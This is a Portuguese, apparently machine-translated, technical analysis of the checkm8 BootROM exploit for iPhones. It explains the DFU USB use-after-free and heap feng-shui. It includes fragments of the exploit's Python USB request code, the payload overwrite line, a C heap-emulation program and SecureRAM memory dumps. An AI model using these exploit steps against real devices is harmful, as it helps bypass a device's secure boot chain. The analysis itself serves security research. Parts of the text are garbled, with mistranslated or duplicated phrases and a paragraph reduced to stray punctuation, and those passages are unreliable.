Com uma alta probabilidade, você já ouviu falar da sensacional exploração checkm8 , que usa uma vulnerabilidade irrecuperável no BootROM
maioria dos iDevices, incluindo o iPhone X
Neste artigo, forneceremos uma análise técnica da exploração e examinaremos as causas da vulnerabilidade. Qualquer pessoa interessada - bem-vindo sob o corte!
Você pode ler a versão em inglês do artigo aqui .
1. Introdução
Primeiro, descreveremos brevemente o processo de inicialização do iDevice e descobriremos o lugar que o BootROM
ocupa nele (também pode ser chamado de SecureROM
) e por que é necessário. Informações bastante detalhadas sobre isso estão aqui . O processo de inicialização simplificado pode ser representado da seguinte maneira:

BootROM
é a primeira coisa que o processador executa quando o dispositivo está ligado. As principais tarefas do BootROM
:
- Inicialização da plataforma (configurando os registros necessários da plataforma, inicializando a
CPU
, etc.) - Verificação e transferência de controle para o próximo estágio de carregamento
BootROM
suporta a análise de imagens IMG3/IMG4
BootROM
tem acesso à chave GID
para descriptografar imagens- Para verificar imagens, a chave pública da
Apple
é incorporada no BootROM
e há a funcionalidade necessária para trabalhar com criptografia
- Recuperando um dispositivo se não for possível fazer o download adicional (
Device Firmware Update
, DFU
)
BootROM
tamanho muito pequeno e pode ser chamado de versão iBoot
do iBoot
, pois eles compartilham a maior parte do código do sistema e da biblioteca. No entanto, diferentemente do iBoot
, o BootROM
não pode ser atualizado. Ele é colocado na memória interna somente leitura ao fabricar o dispositivo. BootROM
é a raiz do hardware da cadeia de inicialização confiável. As vulnerabilidades nele podem permitir obter controle sobre o processo adicional de download e executar código não assinado no dispositivo.

O aparecimento de checkm8
O exploit checkm8
foi adicionado ao utilitário ipwndfu pelo seu autor axi0mX em 27 de setembro de 2019. Em seguida, ele anunciou uma atualização em seu twitter, acompanhando o tópico com uma descrição da exploração e informações adicionais. Você pode descobrir a partir do tópico que a vulnerabilidade de use-after-free
no código USB
foi encontrada pelo autor durante o iBoot
diferenciação iBoot
para iOS 12 beta
no verão de 2018. Como observado anteriormente, o BootROM
e o iBoot
possuem muitos códigos comuns, incluindo o código para USB
, e é por isso que essa vulnerabilidade também é relevante para o BootROM
.
Também resulta do código de exploração que a vulnerabilidade é explorada no DFU
. Este é um modo no qual uma imagem assinada pode ser transferida para o dispositivo via USB
, que será posteriormente baixada. Pode ser necessário, por exemplo, restaurar o dispositivo se a atualização não for bem-sucedida.
No mesmo dia, littlelailo relatou que havia encontrado essa vulnerabilidade em março e publicou sua descrição no arquivo apollo.txt . A descrição correspondeu ao que acontece no código checkm8
, mas não esclarece completamente os detalhes da exploração. Portanto, decidimos escrever este artigo e descrever todos os detalhes da operação até a execução da carga útil no BootROM
inclusive.
Realizamos uma análise de exploração com base nos materiais mencionados anteriormente, bem como no código-fonte do iBoot/SecureROM
vazou em fevereiro de 2018. Também usamos dados obtidos experimentalmente em nosso dispositivo de teste - iPhone 7
( CPID:8010
). Usando o checkm8
removemos os SecureROM
do SecureROM
e SecureRAM
, o que nos ajudou na análise.
Conhecimento essencial sobre USB
A vulnerabilidade detectada está no código USB
, portanto, é necessário algum conhecimento sobre essa interface. Você pode ler a especificação completa aqui , mas é bastante volumosa. Um excelente material, que é mais do que suficiente para uma melhor compreensão, é o USB em um NutShell . Aqui damos apenas o mais necessário.
Existem vários tipos de transferência de dados USB
. DFU
usa apenas o modo Control Transfers
(você pode ler sobre isso aqui ). Cada transação neste modo consiste em três estágios:
Setup Stage
- nesse estágio, é enviado um pacote de SETUP
, que consiste nos seguintes campos:
bmRequestType
- descreve a direção, tipo e destinatário da solicitaçãobRequest
- determina qual solicitação é feitawValue
, wIndex
- dependendo da solicitação, eles podem ser interpretados de maneira diferentewLength
- comprimento dos dados recebidos / transmitidos no Data Stage
Data Stage
- um estágio opcional no qual a transferência de dados ocorre. Dependendo do pacote SETUP
do estágio anterior, isso pode estar enviando dados do host para o dispositivo ( OUT
) ou vice-versa ( IN
). Os dados são enviados em pequenas porções (no caso do Apple DFU
, são 0x40 bytes).
- Quando o host deseja transferir o próximo lote de dados, ele envia um token
OUT
, após o qual os dados são enviados. - Quando o host está pronto para receber dados do dispositivo, ele envia um token
IN
, em resposta ao qual o dispositivo envia dados.
Status Stage
- o estágio final em que o status de toda a transação é relatado.
- Para solicitações de
OUT
, o host envia um token de entrada, em resposta ao qual o dispositivo deve enviar um pacote de dados de tamanho zero. - Para solicitações
IN
, o host envia um token OUT
e um pacote de dados de tamanho zero.
OUT
consultas OUT
e IN
são mostradas no diagrama abaixo. Removemos intencionalmente ACK
, NACK
e outros pacotes de handshake do esquema de descrição e interação, pois eles não desempenham um papel especial na própria exploração.

Análise apollo.txt
Iniciamos a análise analisando a vulnerabilidade no documento apollo.txt . Descreve o algoritmo do modo DFU
:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- Quando o usb é iniciado para obter uma imagem através do dfu, o dfu registra uma interface para lidar com todos os comandos e aloca um buffer para entrada e saída
- Se você enviar dados para o dfu, o pacote de instalação é tratado pelo código principal, que então chama o código da interface
- o código da interface verifica se wLength é menor que o tamanho do buffer de saída e, se for o caso, atualiza um ponteiro passado como argumento com um ponteiro para o buffer de saída.
- em seguida, retorna wLength, que é o comprimento que deseja receber no buffer
- o código principal usb atualiza uma var global com o comprimento e se prepara para receber os pacotes de dados
- se um pacote de dados é recebido, ele é gravado no buffer de saída de entrada por meio do ponteiro que foi passado como argumento e outra variável global é usada para acompanhar quantos bytes já foram recebidos
- se todos os dados foram recebidos, o código específico dfu é chamado novamente e, em seguida, copia o conteúdo do buffer de saída para o local da memória de onde a imagem é inicializada posteriormente
- depois disso, o código usb redefine todas as variáveis e passa a manipular novos pacotes
- se o dfu sair, o buffer de saída será liberado e se a análise da imagem falhar, o bootrom reentra no dfu
Primeiro, comparamos as etapas descritas com o código-fonte do iBoot
. Como não podemos usar fragmentos de código fonte vazado no artigo, mostraremos o pseudocódigo obtido pela engenharia reversa SecureROM
do nosso iPhone 7
na IDA
. Você pode encontrar facilmente o código fonte do iBoot
e navegar nele.
Quando o modo DFU
é inicializado, um buffer de IO
é alocado e uma interface USB
é registrada para processar solicitações ao DFU
:

Quando um pacote de solicitação SETUP
chega ao DFU
, o manipulador de interface correspondente é chamado. No caso de uma execução bem-sucedida da solicitação de OUT
(por exemplo, durante a transferência de imagens), o manipulador deve retornar o endereço do buffer de E / IO
para a transação e o tamanho dos dados que espera receber pelo ponteiro. Nesse caso, o endereço do buffer e o tamanho dos dados esperados são armazenados em variáveis globais.

O manipulador de interface para DFU
é mostrado na captura de tela abaixo. Se a solicitação estiver correta, o endereço do buffer de IO
alocado no estágio de inicialização do DFU
e o comprimento dos dados esperados, retirados do pacote SETUP
, serão retornados pelo ponteiro.

Durante o Data Stage
cada parte dos dados é gravada no buffer de IO
, após o qual o endereço do buffer de IO
é alterado e o contador de dados recebidos é atualizado. Depois de receber todos os dados esperados, o manipulador de dados da interface é chamado e o estado de transmissão global é limpo.

No manipulador de dados do DFU
, os dados recebidos são movidos para a área de memória da qual o download continuará. A julgar pelo código fonte do iBoot
, essa área de memória na Apple
é chamada INSECURE_MEMORY
.

Ao sair do modo DFU
, o buffer de IO
alocado anteriormente será liberado. Se a imagem foi recebida com sucesso no modo DFU
, ela será verificada e carregada. Se, durante a operação do modo DFU
, ocorreu algum erro ou é impossível carregar a imagem resultante, o DFU
será reinicializado e tudo será reiniciado novamente.
No algoritmo descrito, está a vulnerabilidade de use-after-free
. Se na inicialização, enviar um pacote SETUP
e concluir a transação ignorando o Data Stage
, o estado global permanecerá inicializado após a reinserção no ciclo DFU
, e poderemos gravar no endereço do buffer de IO
alocado na iteração DFU
anterior.
Tendo lidado com a vulnerabilidade de use-after-free
, nos perguntamos: como posso substituir algo durante a próxima iteração do DFU
? Afinal, antes de reinicializar o DFU
todos os recursos alocados anteriormente são liberados e o local da memória na nova iteração deve ser exatamente o mesmo. Acontece que existe outro erro interessante e bastante bonito de vazamento de memória que permite explorar a vulnerabilidade de use-after-free
, que discutiremos mais adiante.
Análise Checkm8
Prosseguimos diretamente para a análise da exploração checkm8
. Por uma questão de simplicidade, analisaremos uma versão modificada da exploração do iPhone 7
, na qual o código associado a outras plataformas foi removido, a sequência e os tipos de solicitações de USB
foram alterados sem perder a exploração. Também nesta versão, o processo de construção da carga útil é removido. Ele pode ser encontrado no arquivo checkm8.py
original. Compreender as diferenças entre as versões para outros dispositivos não deve ser difícil.
checkm8
trabalho do checkm8
pode ser dividido em várias etapas:
- Preparação de
heap feng-shui
( heap feng-shui
) - Alocação e liberação do buffer de
IO
sem limpar o estado global - Substituindo
usb_device_io_request
na pilha com use-after-free
- Posicionamento da carga útil
- Execução da
callback-chain
chamada - Execução de
shellcode
Considere cada um dos estágios em detalhes.
1. Preparação da pilha (heap feng-shui)
Parece-nos que este é o estágio mais interessante e prestamos atenção especial a ele.
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
Esta etapa é necessária para alcançar um estado de heap conveniente para operação use-after-free
. Para começar, considere as chamadas stall
, leak
, no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
é um invólucro sobre device.ctrlTransfer
ignorando quaisquer exceções que ocorreram durante a execução da solicitação. libusb1_async_ctrl_transfer
- um wrapper sobre a função libusb_submit_transfer
do libusb
para execução de consultas assíncronas.
Ambas as chamadas aceitam os seguintes parâmetros:
- Instância do dispositivo
- Dados para o pacote
SETUP
(a descrição deles está aqui ):
bmRequestType
bRequest
wValue
wIndex
- Tamanho dos dados (
wLength
) ou Dados para o Data Stage
- Tempo limite da solicitação
Os argumentos bmRequestType
, bRequest
, wValue
e wIndex
são comuns a todos os três tipos de consultas. Eles significam:
bmRequestType = 0x80
0b1XXXXXXX
- direção do Data Stage
do dispositivo para o host (dispositivo para host)0bX00XXXXX
- tipo de solicitação padrão0bXXX00000
- receptor da solicitação - dispositivo
bRequest = 6
- solicitação de descritor ( GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
- determina o tipo de descritor a ser recebido - string ( USB_DT_STRING
)wValueLow = 0x4
é o índice do descritor de cadeias, 4 corresponde ao número de série do dispositivo (nesse caso, a cadeia se parece com CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
- identificador do idioma da string, seu valor não é importante para a operação e pode ser alterado.
Para qualquer uma dessas três solicitações, 0x30 bytes são alocados no heap para um objeto da seguinte estrutura:

Os campos mais interessantes desse objeto são callback
e next
.
callback
- um ponteiro para uma função que será chamada quando a solicitação for concluída.next
- um ponteiro para o próximo objeto do mesmo tipo, necessário para solicitações de enfileiramento.
Um recurso importante da stall
de chamadas é usar a execução assíncrona da solicitação com um tempo limite mínimo. Por esse motivo, se você tiver sorte, a solicitação será cancelada no nível do SO e permanecerá na fila de execução, e a transação não será concluída. Ao mesmo tempo, o dispositivo continuará aceitando todos os pacotes SETUP
recebidos e, se necessário, os coloque na fila de execução. Mais tarde, usando experimentos com um USB
no Arduino
pudemos descobrir que, para uma operação bem-sucedida, o host deve enviar um pacote SETUP
e um token IN
, após o qual a transação deve ser cancelada por tempo limite. Esquematicamente, uma transação incompleta pode ser representada da seguinte maneira:
O restante dos pedidos diferem apenas em comprimento e apenas em um. O fato é que, para consultas padrão, existe um callback
padrão semelhante a este:

O valor io_length
é igual ao mínimo de wLength
no pacote SETUP
da solicitação e o comprimento original do descritor solicitado. Devido ao fato de o descritor ser longo o suficiente, podemos controlar com precisão o valor io_length
dentro de seu comprimento. O valor de g_setup_request.wLength
é igual ao valor de wLength
último pacote SETUP
, neste caso, 0xC1
.
Assim, na conclusão das consultas geradas usando as chamadas de stall
e leak
, a condição na função final de callback
é satisfeita e usb_core_send_zlp()
chamado. Essa chamada simplesmente cria um zero-length-packet
e o adiciona à fila de execução. Isso é necessário para que a transação seja concluída corretamente no Status Stage
.
A solicitação termina com uma chamada para a função usb_core_complete_endpoint_io
, que primeiro chama o callback
e libera a memória da solicitação. Ao mesmo tempo, a conclusão da solicitação pode ocorrer não apenas quando toda a transação for realmente concluída, mas também quando o USB
redefinido. Assim que um sinal de redefinição USB
for recebido, a fila de solicitações será ignorada e cada uma delas será concluída.
Devido à chamada seletiva para usb_core_send_zlp()
, ignorando a fila de solicitações e liberando-as, é possível obter controle de heap suficiente para a operação use-after-free
. Primeiro, vejamos o próprio ciclo de lançamento:

A fila de pedidos é limpa primeiro, depois os pedidos cancelados são usb_core_complete_endpoint_io
e concluídos chamando usb_core_complete_endpoint_io
. Ao mesmo tempo, solicitações selecionadas usando usb_core_send_zlp
são colocadas em ep->io_head
. Após a conclusão do procedimento de redefinição do USB
, todas as informações sobre o terminal serão redefinidas, incluindo os io_tail
e io_tail
, e as solicitações de comprimento zero permanecerão no heap. Assim, você pode criar um pequeno pedaço no meio do restante da pilha. O diagrama abaixo mostra como isso acontece:

A pilha no SecureROM
projetada de forma que uma nova área de memória seja alocada a partir de um pedaço livre adequado do menor tamanho. Ao criar uma pequena parte livre pelo método descrito acima, você pode afetar a alocação de memória durante a inicialização do USB
e a alocação de io_buffer
e solicitações.
Para um melhor entendimento, vamos descobrir quais solicitações de heap ocorrem durante a inicialização do DFU
. Ao analisar o código fonte do iBoot
e a engenharia reversa do iBoot
SecureROM
conseguimos obter a seguinte sequência:
- Alocação de vários descritores de string
- 1.1
Nonce
(tamanho 234
) - 1.2
Manufacturer
( 22
) - 1.3
Product
( 62
) - 1.4
Serial Number
( 198
) - 1.5
Configuration string
( 62
)
- Alocação associada à criação da tarefa do
USB
- 2.1 Estrutura da tarefa (
0x3c0
) - 2.2 Tarefa de pilha (
0x1000
)
io_buffer
( 0x800
)
- Descritores de configuração
- 4.1
High-Speed
( 25
) - 4.2
Full-Speed
( 25
)
Depois, há uma alocação de estruturas de solicitação. Se houver um pequeno pedaço no meio do espaço de heap, algumas alocações da primeira categoria irão para esse pedaço, e todas as outras alocações serão movidas, devido às quais podemos usb_device_io_request
, referindo-se ao buffer antigo. Esquematicamente, isso pode ser representado da seguinte maneira:

Para calcular o viés necessário, decidimos simplesmente emular as alocações listadas acima, adaptando levemente o código fonte do heap do iBoot
.
Emulação de heap do DFU #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
Programe a saída com 8 solicitações no estágio heap feng-shui
:
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
O próximo usb_device_io_request
estará no deslocamento 0x5c0
desde o início do buffer anterior, que corresponde ao código de exploração:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
, SecureRAM
, checkm8
. , . , usb_device_io_request
, .
. , .
SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA 